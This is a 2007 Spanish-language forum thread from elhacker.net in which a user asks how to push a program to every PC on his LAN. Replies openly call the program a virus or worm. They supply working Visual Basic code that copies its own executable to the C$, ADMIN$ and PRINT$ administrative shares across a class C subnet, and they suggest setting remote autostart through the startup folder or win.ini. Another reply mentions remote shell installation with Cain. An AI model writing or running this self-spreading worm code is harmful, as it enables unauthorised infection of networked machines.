Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: Saok Dagon en 2 Abril 2007, 11:07 am



Título: puedo hacer algo con la red lan?
Publicado por: Saok Dagon en 2 Abril 2007, 11:07 am
Hola

bueno, tengo un programa y me gustaria que se instalara en todas las Pcs de mi red lan (logicamente ejecutandolo en la pc administradora) seria posible?

aver si algien me guia un poco

saludos


Título: Re: puedo hacer algo con la red lan?
Publicado por: Sancho.Mazorka en 7 Abril 2007, 06:45 am
Supongo que lo primero que tendrias que hacer seria obtener las maquinas en red con su ip, luego hacer que el programa se copie a cada una de las pc's...

Cualkier otra cosa avisanos!  ::)


Sancho.Mazorka    :¬¬


Título: Re: puedo hacer algo con la red lan?
Publicado por: Saok Dagon en 7 Abril 2007, 11:34 am

si asta ay llego, de echo ya tengo todas las ip's de la red lan  ;D pero no se como hacer que lo copie en cada una de ellas (de ay mi post)


Título: Re: puedo hacer algo con la red lan?
Publicado por: ~~ en 7 Abril 2007, 13:25 pm
Pues kizas por net bios puedas hacer algo, eso si, este protocolo deberia estar activado en todos los pc's. Si buscas en este foro recuerdo q alguien puso un code para propagarnos por net ios en VB.



Título: Re: puedo hacer algo con la red lan?
Publicado por: Mad Antrax en 7 Abril 2007, 14:16 pm
Es facil, te explico lo que yo haría...

1) Hacer que el virus recoja info del PC: IP local y Mascara de subred (por ejemplo haciendo un ipconfig /all y depurando la salida).

2) Calcular cuantos equipos hay en la lan a partir de la máscara de subred, por ejemplo:

Citar
Direccion: 192.168.10.58
Mascara: 255.255.255.0

Con estos datos sabrás que hay IP's comprendidas entre: 192.168.10.1 hasta 192.168.10.254

3) Empezar un bucle bestial de este tipo:

Código:
    For i = 1 To 255
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\C$"     'C:\
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\D$"     'D:\
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\E$"     'E:\
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\F$"     'F:\
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\G$"     'G:\
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\ADMIN$" 'C:\Windows
        FileCopy App.Path & "\" & App.EXEName & ".exe", "\\192.168.10." & i & "\PRINT$" 'C:\WINDOWS\system32\spool\drivers
    Next i

4) Ahora te lo puedes currar y editar los archivos de inicio de forma remota (copiando archivos en la carpeta inicio, modificando win.ini, etc...)

No hay que decir que necesitas permisos administrativos en la lan para poder hacer esto :P

5) Y para rizar el rizo, tendrías que encontrar el comando que te permite ver los recursos que comparte un equipo, te doy una pista...

Citar
net view [\\nombre_pc] te da todos sus recursos xD

Saludos!! y no seas malo haciendo lanworm's :xD


Título: Re: puedo hacer algo con la red lan?
Publicado por: nhaalclkiemr en 7 Abril 2007, 16:46 pm
Si que se puede, el Cain es capaz de instalar un servicio en la maquina remota que te permite ejecutar la Shell, por lo que supongo que tambien se podrá copiar y ejecutar otro programa cualquiera...

salduos ;) ;)


Título: Re: puedo hacer algo con la red lan?
Publicado por: Saok Dagon en 9 Abril 2007, 17:22 pm


algien sabe de alguna api o algun code que me permita listar las ips de una red lan?

saludos


Título: Re: puedo hacer algo con la red lan?
Publicado por: Mad Antrax en 9 Abril 2007, 17:45 pm


algien sabe de alguna api o algun code que me permita listar las ips de una red lan?

saludos

Como te he dicho... las IP's de una LAN se consiguen haciendo la operación lógica AND entre la IP y la Mascara de Subred. Aunque si no te lo quieres currar tanto simplemente mira que la mascara sea 255.255.255.0 (es la más común) con esto sabrás que hay tantas IP's como 0's hay en la máscara.

Lee un poco en wikipedia y lo entenderás facil, explicarlo por aqui es complicado xD

Saludos!!


Título: Re: puedo hacer algo con la red lan?
Publicado por: Saok Dagon en 10 Abril 2007, 14:13 pm


sisi, si ya lo entendi antes, es simple, pero el problema es que si por ejemplo la ip es 196.36.56.6 el VB me devuelva 196.36.56 y luego ya con los calculos de la mascara subred y la ip que me devolvio acer 196.36.56. & X

luego lo otro ya me resulta mas facil, solo me falta eso.

saludos


Título: Re: puedo hacer algo con la red lan?
Publicado por: Mad Antrax en 10 Abril 2007, 14:46 pm
Aqui el código completo para hacer que nuestro worm se extiendo en una red LAN con una subred de clase C (la más común). Te puedes fijar que no he extraido ni la máscara ni he hecho el calculo, pues el 70% de las redes comunes son de clase C (A.B.C.?)

Código:
Private Sub Form_Load()
    Dim MyIP As String, HackIP As String
    Dim Octets() As String
    Dim i As Integer
   
    MyIP = Winsock1.LocalIP
    If MyIP Then
        Octets = Split(MyIP, ".")
    Else
        MsgBox "No se puede obtener tu dirección IP"
    End If
    If UBound(Octets) > 0 Then
        On Error Resume Next
        For i = 1 To 10
            HackIP = "\\" & Octets(0) & "." & Octets(1) & "." & Octets(2) & "." & i
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\C$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\D$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\E$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\F$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\G$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\ADMIN$\" & App.EXEName & ".exe"
            FileCopy App.Path & "\" & App.EXEName & ".exe", HackIP & "\PRINT$\" & App.EXEName & ".exe"
        Next i
    Else
        MsgBox "Error grave. Formato de IP no válida (¿Posiblemente IPv6?)"
    End If
End Sub

La próxima vez intenta hacrlo tu mismo, seguramente no te saldrá, postea tu código y la línea de error y entre todos te ayudamos. La única forma de aprender es intentarlo, no busques siempre algo ya codeado porque no lo encontrarás siempre

Saludos!! :)


Título: Re: puedo hacer algo con la red lan?
Publicado por: Saok Dagon en 10 Abril 2007, 18:47 pm
Hola

weno, gracias, pero ami con averme dicho que usar para obtenerlo ya abria sacado el codigo ^^ pero gracias igualmente

saludos